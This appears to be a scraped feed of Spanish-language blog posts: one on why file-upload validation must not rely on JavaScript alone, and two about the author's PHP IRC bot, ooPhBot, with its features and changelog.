La importancia de realizar una validación correcta es sensilla, nos pueden meter un caballo de troya, es decir, subir un fichero que tenga extension .jpg pero que en realidad sea un .mp3. Si nos basamos solamente en la validacion javascript, será muy facil saltarnos esa validacion y subir un fichero con la extension que nosotros queramos, por ejemplo un .php “maligno” que nos permita una shell remota via web o algún fichero .exe con algún virus o troyano que queramos difundir.
Un ejemplo claro es lo que pasó en este caso, donde alguien subio a un servidor un fichero .exe infectado que luego empezo a propagarlo vía email usando un dominio supuestamente fiable.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/seguridad/php-validar-subida-fichero/feed/ 0 ooPhBOT v1.0.5 http://blog.zerial.org/proyectos/oophbot-v105/ http://blog.zerial.org/proyectos/oophbot-v105/#comments Tue, 26 May 2009 17:11:26 +0000 Zerial http://blog.zerial.org/?p=269 Hace dias corregi el algoritmo de busqueda de sitios y definiciones para google, pero no lo habia subido. Ya esta disponible la version 1.0.5 del ooPhBot y lo puedes descargar desde este link.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/proyectos/oophbot-v105/feed/ 0 ooPhBot: Bot para IRC escrito en PHP http://blog.zerial.org/linux/oophbot-bot-para-irc-escrito-en-php/ http://blog.zerial.org/linux/oophbot-bot-para-irc-escrito-en-php/#comments Sat, 25 Oct 2008 04:26:10 +0000 Zerial http://blog.zerial.org/?p=162 Hace algun tiempo programé un bot para IRC en PHP, este bot tenia varias caracteristicas y opciones, usaba una base de datos mysql para almacenar lo que iba “aprendiendo”. Dentro de ellas están:

  • Distintos niveles de privilegios (administrador, owner de un canal, access de un canal)
  • Funcion para realizar busquedas en Google (!google <palabra>)
  • Function para buscar definiciones en Google (!define <termino>)
  • Distintas funciones de administracion de usuarios (!admin|access add|del|list)
  • etc

Algunas de las caracteristicas de este bot es su proteccion anti flood que se define por el owner del canal y el Oráculo (Oracle; término puesto por mi a esta funcionalidad) que permite enseñar al bot definiciones de palabras para luego ser consultadas (!learn palabra significado, ?? palabra).
Este bot corre bajo php-cli (command line interface), es decir, por consola y tambien puede ser ejecutado desde la web. Queda trabajando como un demonio.

Version Actual:
La version actual es la misma desde enero del año 2007, no he vuelto a tocar el codigo (aunque sigo usando el bot), funciona todo menos las busquedas de terminos y definiciones en Google que, me imagino, hay que hacerle un par de modificaciones al codigo para que parsee bien las busquedas.

Changelog

VERSION 1.0.4 – 26 ENE 2007

- Cambiado el sistema de autentifiacion. Se verifica que el usuario
este identificado con NickServ.

VERSION 1.0.3 – 19 ENE 2007

- Se agrego a la clase Bot el metodo TXTflood( … ) que verifica
el flood de texto de un usuario en un canal especifico, esta opcion
puede ser habilitada o desactivada por usuarios con privilegios mediante
!flood on|off en el canal.
- Se ha reescrito la clase que permite la identificacion y permite que los usuarios
tengan distintos privilegios. (CHAdmin.)
- Corregido el bug que expulsaba de manera distinta a !k o !kick (0 nick o [spacio] nick)
- Agregada la clase Google con los metodos !define y !google.

VERSION 1.0.2 – 16 ENE 2007

- El bot corre en segundo plano (fork).
- Agregada una funcion extra en la clase del bot usando el binario ‘numerador’
ubicado en el directorio extras, la funcion es !num NUMERO.
- Fixeado bug que causaba la caida del bot al enviar dos veces el comando
para setear una clave. (reportado por Pons)
- Agregado soporte para unrealircd (antes solo habia sido probado en bahamut).
- Testeado en dancer-ircd, bahamut, Hyperion y unrealircd.

VERSION 1.0.0 – 15 ENE 2007

- Corregido el fallo que cerraba la conexion a la base de datos por idle.

Descargar:
Version 1.0.4: zip | tar.gz | tar.bz2

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/linux/oophbot-bot-para-irc-escrito-en-php/feed/ 19